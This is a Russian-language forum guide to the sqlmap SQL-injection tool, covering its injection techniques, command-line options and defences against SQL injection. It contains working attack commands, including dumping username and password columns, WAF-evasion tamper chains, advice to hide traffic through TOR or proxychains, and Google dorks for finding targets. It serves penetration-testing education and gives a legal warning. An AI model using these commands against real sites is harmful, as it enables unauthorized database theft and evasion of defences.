Сергей Попов
Администратор
- 30.12.2015
- 4 793
- 6 493
От основ до обхода WAF и защиты. Актуальный гайд на 2025 год.
Sqlmap — это не просто инструмент. Это швейцарский нож пентестера, который превращает рутинный поиск SQL-инъекций в автоматизированный процесс, вплоть до полного захвата сервера. Старые гайды по нему хороши, но мир не стоит на месте: везде стоят WAF, технологии меняются. Поэтому мы собрали здесь всё воедино: классическую базу, современные техники обхода и актуальные советы по защите. Всё в стиле Codeby — по делу и без воды.Что умеет sqlmap? Ключевые возможности в 2025 году
Если коротко — sqlmap делает почти всё. Он сам определяет тип уязвимости, подбирает нужный эксплойт и вытаскивает данные. Вот его основной арсенал, актуальный для последних версий:- Поддержка СУБД: Практически всё, что можно встретить в проде. От классики вроде MySQL, PostgreSQL, Oracle, MSSQL до SQLite, MariaDB, ClickHouse и даже экзотики вроде SAP MaxDB. Полный список всегда есть на
Ссылка скрыта от гостей.
- Все 6 техник инъекций: Boolean-blind, Time-blind, Error-based, UNION, Stacked queries, Out-of-band. Инструмент сам определит, какая из них сработает лучше всего.
- Прямое подключение к БД: Если у вас уже есть логин и пароль от базы данных, sqlmap может подключиться напрямую, без всяких инъекций, для дальнейшей работы.
- Перечисление (Enumeration): Может вытащить информацию о пользователях, хэшах паролей, ролях, привилегиях, базах данных, таблицах и колонках.
- Автоматический брутфорс хэшей: Находит хэши паролей и тут же пытается вскрыть их по встроенным словарям.
- Дампинг данных: Позволяет скачать всю таблицу, отдельные столбцы или даже отфильтровать данные по вашему запросу.
- Работа с файловой системой: Может читать и записывать файлы на сервер, если у пользователя БД есть на это права (актуально для MySQL, PostgreSQL, MSSQL).
- Выполнение команд на сервере (
--os-shell
): При определенных условиях можно получить полноценную командную строку на целевом сервере. - Создание Out-of-band каналов: Позволяет установить TCP-сессию между жертвой и атакующим, например, для получения шелла через Meterpreter.
- Эскалация привилегий: Интегрируется с Metasploit для повышения привилегий в системе.
Как это работает под капотом: техники инъекций
Sqlmap не просто бездумно шлет запросы. Он действует последовательно, перебирая техники от самых шумных и быстрых к самым медленным и незаметным.- Error-based (На основе ошибок): Самый быстрый способ. Sqlmap пытается вызвать ошибку SQL (
...id=1'
) и парсит ее текст, чтобы извлечь данные. Сработает, только если сайт выводит отладочную информацию, что сегодня уже редкость. - UNION-based (На основе UNION): Классика. Инструмент подбирает правильное количество столбцов в запросе и объединяет его со своим через
UNION ALL SELECT
. Если повезет, данные из базы выводятся прямо на странице. - Boolean-based blind («Слепая» на основе логики): Когда сайт не показывает ошибок и данных, sqlmap начинает играть в игру «горячо-холодно». Он добавляет к запросу условия вроде
AND 1=1
иAND 1=2
и смотрит, меняется ли страница. Так, по одному байту, он восстанавливает нужную информацию. - Time-based blind («Слепая» на основе времени): Самый медленный, но самый надежный метод. Если ничего другое не помогло, sqlmap добавляет в запрос команду задержки (
SLEEP(5)
). Если ответ сервера приходит с задержкой, значит, условие выполнилось. Это долго, но почти всегда работает. - Stacked queries (Пакетные запросы): Мощнейшая техника, если поддерживается СУБД. Позволяет выполнить несколько запросов за раз, разделив их точкой с запятой (
;
). Именно так можно не только читать, но и изменять данные или выполнять системные команды. - Out-of-band (Внеполосные): Самая продвинутая техника. Заставляет базу данных саму отправить данные на сервер атакующего (например, через DNS-запрос). Требует специфических настроек и прав.
Пробиваемся через WAF: Tamper-скрипты и хитрости
Сегодня почти любой серьезный проект защищен Web Application Firewall (WAF). Прямые атаки sqlmap он легко отобьет. Но и на этот случай у нас есть решение — tamper-скрипты. Это небольшие скрипты, которые на лету изменяют ваши запросы, чтобы обмануть файрвол.Они умеют:
- Кодировать полезную нагрузку (Base64, HEX).
- Заменять пробелы на комментарии (
/**/
). - Менять регистр символов (
SeLeCt
). - Вставлять "мусор" и многое другое. Их больше 50 штук!
Bash:
sqlmap -u "http://site/?id=1" --tamper=space2comment,randomcase,base64encode --level=5 --risk=3 --random-agent
- Начинайте с простого:
space2comment
илиchardump
— классика. - Комбинируйте: Не бойтесь создавать цепочки из нескольких скриптов.
- Маскируйтесь: Всегда используйте
--random-agent
, чтобы не палиться по стандартному User-Agent от sqlmap. - Будьте терпеливы: Подбор рабочего tamper-скрипта — это итеративный процесс. Что-то заблокировали? Пробуйте другой.
- Используйте прокси: Для сокрытия своего IP и обхода блокировок можно завернуть трафик sqlmap через TOR или цепочку прокси с помощью
proxychains
.
Важнейшие параметры: --level
и --risk
Многие новички копируют команды, не понимая этих ключей. А это критически важно.--level=...
(от 1 до 5): Глубина проверки.level=1
(по умолчанию): Проверяются только GET и POST параметры.level=2
: Добавляется проверка Cookie.level=3
: Добавляется User-Agent и Referer.level=5
: Проверяется абсолютно всё. Начинайте сlevel=5
, чтобы ничего не упустить.
--risk=...
(от 1 до 3): Степень риска.risk=1
(по умолчанию): Только безобидные запросы.risk=2
: Добавляются "тяжелые" time-based запросы.risk=3
: Добавляются запросы, которые могут изменять данные (например,OR
вUPDATE
).
risk=3
используйте с большой осторожностью! На слабом сервере тяжелые запросы могут вызвать отказ в обслуживании (DoS). Неприятно, правда?Закон и этика: это не игрушки
Запомните раз и навсегда:sqlmap
— это инструмент для авторизованного тестирования на проникновение. Его использование на чужих ресурсах без письменного разрешения владельца — это уголовное преступление (в РФ — ст. 272, 273 УК РФ).Последствия могут быть серьезными:
- Уголовная и гражданская ответственность.
- Блокировка вашего IP-адреса навсегда.
- Проблемы с участием в программах Bug Bounty и карьерой в ИБ.
Как начать: пошаговый план
Прежде чем мы перейдем к конкретным командам, полезно понимать, как этот инструмент вписывается в общую картину. Если вы хотите лучше разобраться в том, что такое пентест и чем он отличается от работы Red Team, на форуме есть отличный обзорный материал: Всё о Пентесте и Red Team для новичков в новых реалиях.
Шаг 1: Поиск цели (для учебных целей!)
Классические Google Dorks всё ещё работают, но в основном на старых сайтах или в рамках CTF:
Код:
inurl:.php?id=
inurl:product.php?item_id=
inurl:article.php?cat_id=
Шаг 2: Быстрая ручная проверка
Простейший тест — добавить кавычку ('
) в конец параметра URL:http://test-site.com/product.php?id=123'
Если в ответ прилетела ошибка SQL — это хороший знак. Если нет — это еще ничего не значит! Уязвимость может быть слепой, и тут-то нам и нужен sqlmap.
Шаг 3: Эксплуатация с помощью sqlmap
- Простая проверка и получение списка БД
Bash:
sqlmap -u "http://test-site.com/product.php?id=123" --dbs
- Получение таблиц из конкретной БД
Bash:
sqlmap -u "..." -D target_db --tables
- Получение столбцов из таблицы
Bash:
sqlmap -u "..." -D target_db -T users --columns
- Дампинг данных из столбцов
Bash:
sqlmap -u "..." -D target_db -T users -C username,password --dump
А если сайт требует логин?
В 99% случаев интересные уязвимости находятся за формой входа. Чтобыsqlmap
работал в авторизованной зоне, ему нужно передать вашу сессионную cookie.- Залогиньтесь на сайте через браузер.
- Откройте инструменты разработчика (F12) -> Application/Storage -> Cookies.
- Скопируйте значение вашей сессионной cookie (например,
PHPSESSID=a1b2c3d4e5f6
). - Добавьте ее в команду:
Bash:sqlmap -u "http://site.com/profile.php?id=1" --cookie="PHPSESSID=a1b2c3d4e5f6" --dbs
Ссылка скрыта от гостей
, сохранить его в файл request.txt
и скормить sqlmap: sqlmap -r request.txt
.А что насчет API и JSON?
Да,sqlmap
умеет и это. Если приложение общается через JSON, укажите место для инъекции звездочкой *
:
Bash:
sqlmap -u "http://api.site.com/v1/user" --method=POST --data='{"id": 1, "role": "user"}' --headers="Content-Type: application/json" -p "id"
-p
.Как защититься? Советы для разработчиков
Атаковать весело, но важно уметь и строить крепости. Вот главные правила защиты от SQL-инъекций:- Параметризованные запросы (Prepared Statements): Это золотой стандарт и самый надежный метод. Данные передаются в базу отдельно от самого SQL-запроса, и СУБД просто не может их исполнить. Используйте их всегда. ORM (Object-Relational Mapping) в современных фреймворках делают это по умолчанию.
- Принцип наименьших привилегий: Пользователь БД, от имени которого ваше веб-приложение работает с базой, должен иметь минимально необходимые права. Только
SELECT
,INSERT
,UPDATE
для своих таблиц. НикакихFILE
,SHUTDOWN
или прав администратора (dbo
). - Хорошо настроенный WAF: Не просто включить "для галочки". WAF должен работать в режиме блокировки, а его правила — регулярно обновляться.
- Валидация и фильтрация входных данных: Проверяйте все, что приходит от пользователя. Если ожидается число — убедитесь, что это число. Если email — проверьте его формат регулярным выражением.
- Отключение вывода ошибок: На продакшн-сервере пользователи никогда не должны видеть отладочную информацию и тексты ошибок СУБД.
- Регулярный аудит и пентесты: Нанимайте специалистов или проводите Bug Bounty программы, чтобы найти дыры раньше, чем их найдут злоумышленники.
Вместо заключения
Sqlmap — это невероятно мощный скальпель в руках специалиста. Но, как и любой инструмент, он требует понимания. Важно не просто заучить команды, а осознавать, что происходит "под капотом", помнить об ответственности и всегда думать на два шага вперед — не только как атаковать, но и как защититься.Надеюсь, это руководство поможет вам в ваших (легальных!) исследованиях. Успешного пентеста и безопасного кода!
Продолжение: Гайд по SQL-инъекциям: SQLMap + Hashcat
Обновлено и дополнено командой Codeby на основе официальной документации sqlmap и практического опыта.